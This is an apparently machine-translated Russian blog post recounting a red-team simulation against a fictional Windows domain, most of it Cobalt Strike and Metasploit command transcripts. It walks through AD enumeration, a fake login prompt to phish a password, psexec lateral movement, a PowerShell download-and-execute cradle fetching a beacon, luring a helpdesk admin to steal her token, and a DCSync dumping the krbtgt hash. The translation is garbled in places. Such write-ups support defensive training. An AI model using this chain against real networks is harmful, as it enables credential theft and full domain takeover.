PsExec ... Cobalt Strike

Недавно я закончил симуляцию противника и подумал, что напишу короткую статью о некоторых своих впечатлениях.
Целевая организация имела интересное сочетание как хороших (для целей «соответствия нормативным требованиям»), так и плохой практики безопасности. После того, как вы были достаточно близко к блоку, вы узнаете, что внедрение безопасности с единственной целью передачи аудита соответствия не является эффективным для смягчения «кибер-атаки» (да, я уже говорил), даже против участников, которые не особенно сложны.

точка опоры

Мы начнем с сеанса как пользователь awhiteheadОбратите внимание, что все, что вы видите здесь, - это вымышленные представления.

Осведомленность о ситуации

В этой маленькой настройке мы имеем следующее:
beacon> net computers

 Server Name             IP Address
 -----------             ----------
 FS-01                   172.16.0.199
 DC-01                   172.16.0.200
 WKSTN-01                172.16.0.201
 WKSTN-02                172.16.0.202
 WKSTN-03                172.16.0.203
beacon> powershell Get-NetGroupMember -GroupName "Domain Admins"

GroupDomain  : cyber-lance.local
GroupName    : Domain Admins
MemberDomain : cyber-lance.local
MemberName   : lshah_da
MemberSID    : S-1-5-21-884887136-373167198-2530644098-1110
IsGroup      : False
MemberDN     : CN=Logan Shah (DA),CN=Users,DC=cyber-lance,DC=local
beacon> powershell Get-NetLocalGroup -GroupName Administrators | Select-Object AccountName

AccountName
-----------
CYBER-LANCE/WKSTN-01/Administrator
cyber-lance.local/Domain Admins
cyber-lance.local/Desktop Support
cyber-lance.local/awhitehead
beacon> powershell Get-NetGroupMember -GroupName "Desktop Support"

GroupDomain  : cyber-lance.local
GroupName    : Desktop Support
MemberDomain : cyber-lance.local
MemberName   : kwilson_adm
MemberSID    : S-1-5-21-884887136-373167198-2530644098-1109
IsGroup      : False
MemberDN     : CN=Keira Wilson (Admin),CN=Users,DC=cyber-lance,DC=local
Что мы можем наблюдать до сих пор:
  • Они используют отдельные учетные записи для DA и других административных целей.
  • Они суффиксуют свои имена пользователей _daи _admсоответственно.
  • Они добавляют (DA)и (Admin)к их выдающимся именам.
  • awhiteheadявляется локальным администратором на его рабочей станции, но не с _admучетной записью.
Знание этого соглашения позволяет нам быстро перечислять потенциальные учетные записи администратора:
beacon> powershell Get-NetUser -Filter "(samaccountname=*_adm)" | Select-Object name, samaccountname

name                                    samaccountname                         
----                                    --------------                         
Keira Wilson (Admin)                    kwilson_adm
Или найдите, есть ли у стандартного пользователя связанная учетная запись администратора:
beacon> powershell Get-NetUser -Filter "(samaccountname=kwilson*)" | Select-Object name, samaccountname

name                                    samaccountname                         
----                                    --------------                         
Keira Wilson                            kwilson                                
Keira Wilson (Admin)                    kwilson_adm

Локальная эскалация привилегий

awhiteheadявляется местным администратором, поэтому есть потенциал для того, чтобы мы повышали привилегии на этой рабочей станции. У него нет локального администратора на любой другой машине. Прежде чем бросать UAC в обход, всегда нужно проверять конфигурацию UAC.
beacon> powershell Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System

PSPath                      : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
PSParentPath                : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies
PSChildName                 : System
PSDrive                     : HKLM
PSProvider                  : Microsoft.PowerShell.Core\Registry
ConsentPromptBehaviorAdmin  : 1
ConsentPromptBehaviorUser   : 1
EnableInstallerDetection    : 1
EnableLUA                   : 1
EnableSecureUIAPaths        : 1
EnableUIADesktopToggle      : 1
EnableVirtualization        : 1
PromptOnSecureDesktop       : 1
ValidateAdminCodeSignatures : 0
dontdisplaylastusername     : 0
legalnoticecaption          : 
legalnoticetext             : 
scforceoption               : 0
shutdownwithoutlogon        : 1
undockwithoutlogon          : 1
FilterAdministratorToken    : 0
Взято из MSDN:
ConsentPromptBehaviorAdmin  : 1  --->  This option prompts the Consent Admin to enter his or her user name and password (or another valid admin) when an operation requires elevation of privilege. This operation occurs on the secure desktop.
ConsentPromptBehaviorUser   : 1  --->  This option SHOULD be set to ensure that a standard user that needs to perform an operation that requires elevation of privilege will be prompted for an administrative user name and password. If the user enters valid credentials, the operation will continue with the applicable privilege.
EnableLUA                   : 1  --->  This policy enables the "administrator in Admin Approval Mode" user type while also enabling all other User Account Control (UAC) policies.
PromptOnSecureDesktop       : 1  --->  This policy will force all UAC prompts to happen on the user's secure desktop.
Эта конфигурация в широком смысле преобразуется в Always Notfiyнастройку, которую вы найдете на панели управления. На самом деле перемещение этого слайдера влияет на несколько элементов реестра одновременно. Таким образом, в этом случае пользователь увидит приглашение UAC, если мы попробуем любой из обычных обходов.
Если бы у нас был пароль пользователей, мы могли бы использовать PsExec для запуска повышенного сеанса на этом компьютере. Вы не psexecможете и с одного и того же хоста (по крайней мере, в CS), поэтому я вытащил надежную Metasploit Framework. Чтобы получить пароль пользователя, нам нужно только спросить.
Я использую модифицированную версию от Мэтта Нельсона Invoke-LoginPrompt . Единственное различие заключается в том, что у меня появится сообщение об ошибке, прежде чем запрашивать кредиты - выбирая что-то правдоподобное, может увеличить вероятность их отправки без излишней суеты. Кроме того, запрос на их стандартный пароль учетной записи (например, для повторного подключения к Outlook) проще обмануть их в том, чтобы придумать причину, по которой им нужно было бы вводить кредиты для своей учетной записи администратора.
beacon> powershell Invoke-LoginPrompt
UserName                   Domain                     Password                 
--------                   ------                     --------                 
awhitehead                 CYBER-LANCE                Passw0rd!
Теперь настроить маяк и msf.
beacon> socks 32479
beacon> sleep 0
msf > setg Proxies socks4:163.172.129.30:32479
msf > use exploit/windows/smb/psexec_psh

msf exploit(psexec) > set RHOST 172.16.0.201
msf exploit(psexec) > set SMBDomain cyber-lance
msf exploit(psexec) > set SMBUSER awhitehead
msf exploit(psexec) > set SMBPASS Passw0rd!
msf exploit(psexec) > set payload windows/meterpreter/bind_tcp

msf exploit(psexec) > exploit 

[*] Started bind handler
[*] 172.16.0.201:445 - Connecting to the server...
[*] 172.16.0.201:445 - Authenticating to 172.16.0.201:445|cyber-lance as user 'awhitehead'...
[*] 172.16.0.201:445 - Selecting PowerShell target
[*] 172.16.0.201:445 - Executing the payload...
[+] 172.16.0.201:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (957487 bytes) to 172.16.0.201
[*] Meterpreter session 1 opened (192.168.41.132:41409 -> 163.172.129.30:32479) at 2017-06-17 21:04:05 +0100

meterpreter > sysinfo 
Computer        : WKSTN-01
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_GB
Domain          : CYBER-LANCE
Logged On Users : 3
Meterpreter     : x86/windows

meterpreter > getuid 
Server username: NT AUTHORITY\SYSTEM
Мне нравится передавать сессию в CS, поэтому у меня все в одном месте. Я сделаю это, разместив бесполезную полезную нагрузку маяка PowerShell SMB и воспользуюсь обратным портом, чтобы захватить его. Причина этого заключается в том, что исходящий веб-прокси в этой среде имеет NTLM-аутентификацию, что означает, что процессы, запущенные в контексте SYSTEM, не могут напрямую общаться с Интернетом.
beacon> rportfwd 6798 163.172.129.30 80
meterpreter > shell
Process 2896 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>powershell.exe -nop -w hidden -c "iex ((new-object net.webclient).downloadstring('http://127.0.0.1:6798/smb'))"
06/17 21:10:40 visit from: 163.172.129.30
    Request: GET /smb
    page Serves /opt/cobaltstrike/uploads/beacon.ps1
    null
beacon> link 127.0.0.1
[+] established link to child beacon: 172.16.0.201

Боковое движение

Я бы никогда не рекомендовал идти по этому маршруту, если у вас мало альтернативы.
Поскольку в настоящее время это означает, что у меня нет возможности перемещаться поперек рабочих станций, но члены команды Desktop Supportделают, потому что они местные администраторы. То, что я могу сделать, это разорвать приложение (или выполнить какое-то другое действие), WKSTN-01чтобы он awhiteheadмог обратиться за помощью в службу поддержки. Затем они могут быть удалены на рабочую станцию, где я могу захватить их учетные данные или запущенный процесс.
awhiteheadпредлагается дистанционная помощь Kiera Wilson (Admin), к которой он принимает.
Кира попросит Эндрю разрешить ей ответить на приглашения ОАК, которые он послушно сделает.
Затем Кира будет использовать свои полномочия для подъема WKSTN-01, чтобы она могла выполнять свои расследования / исправления.
Теперь у нас есть keira_admаутентифицированные и запущенные повышенные процессы на взломанной рабочей станции.
beacon> net logons
Logged on users at \\localhost:

CYBER-LANCE\kwilson_adm
CYBER-LANCE\awhitehead
CYBER-LANCE\awhitehead
CYBER-LANCE\awhitehead
CYBER-LANCE\WKSTN-01$
beacon> shell tasklist /v | findstr /i kwilson_adm
cmd.exe         3348     Console 1     2,272 K     Unknown     CYBER-LANCE\kwilson_adm     0:00:00       N/A                                                                     
conhost.exe     3116     Console 1     3,988 K     Unknown     CYBER-LANCE\kwilson_adm     0:00:0100     N/A 
beacon> make_token CYBER-LANCE\kwilson_adm Passw0rd!

beacon> psexec_psh wkstn-02 smb
[+] established link to child beacon: 172.16.0.202

beacon> inject 3220 http
3220был pid исследователя, бегущего как kwilsonЯ также перестроил свои маяки следующим образом.
Я намеренно не продолжать использовать kwilson_admна WKSTN-01- если я хочу , чтобы повторно использовать ее учетные данные , чтобы занять рабочее место другого привилегированного пользователя, он будет выглядеть более естественно , исходя из WKSTN-02чем 01По той же причине , что , как только я взял WKSTN-02из WKSTN-01, я прервал соединение. Вы обычно не видите связи происходят , 01 -> 02но скорее 02 -> 01.

Охота пользователей

Чтобы выиграть игру, нам нужно найти рабочую станцию ​​DA, перейти и разграбить. Это очевидная неудача этой организации, что, хотя они используют отдельные учетные записи администратора, они все еще используются на низкоуровневых рабочих станциях. Мы должны быть в состоянии найти стандартную учетную запись DA, зарегистрированной на рабочей станции, и они будут делать что-то вроде runas mmcсвоих DA-кредитов.
beacon> powershell Invoke-UserHunter

UserDomain      : CYBER-LANCE
UserName        : lshah_da
ComputerName    : WKSTN-03.cyber-lance.local
IPAddress       : 172.16.0.203
SessionFrom     : 
SessionFromName : 
LocalAdmin      :  
beacon> powershell Get-NetComputer | Get-NetLoggedOn | Where {$_.wkui1_username -like "lshah_da"} | Select-Object ComputerName

ComputerName                                                                   
------------                                                                   
WKSTN-03.cyber-lance.local                                                     
WKSTN-03.cyber-lance.local 
beacon> psexec_psh wkstn-03 smb
[+] established link to child beacon: 172.16.0.203
beacon> net logons
Logged on users at \\localhost:

CYBER-LANCE\lshah_da
CYBER-LANCE\lshah
CYBER-LANCE\WKSTN-03$
beacon> shell tasklist /v | findstr /i lshah_da
mmc.exe     3220     Console 2     2,688 K     Unknown     CYBER-LANCE\lshah_da     0:00:00     N/A

Игра закончена

beacon> make_token CYBER-LANCE\lshah_da Passw0rd!
beacon> dcsync cyber-lance.local cyber-lance\krbtgt

[DC] 'cyber-lance.local' will be the domain
[DC] 'dc-01.cyber-lance.local' will be the DC server
[DC] 'cyber-lance\krbtgt' will be the user account

Object RDN           : krbtgt

** SAM ACCOUNT **

SAM Username         : krbtgt
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration   : 
Password last change : 17/06/2017 17:22:39
Object Security ID   : S-1-5-21-884887136-373167198-2530644098-502
Object Relative ID   : 502

Credentials:
  Hash NTLM: 8aa0265124c7696166d01c1431ff6c44
    ntlm- 0: 8aa0265124c7696166d01c1431ff6c44
    lm  - 0: b5cf441f199c4456800a29a0312146b7

Комментарии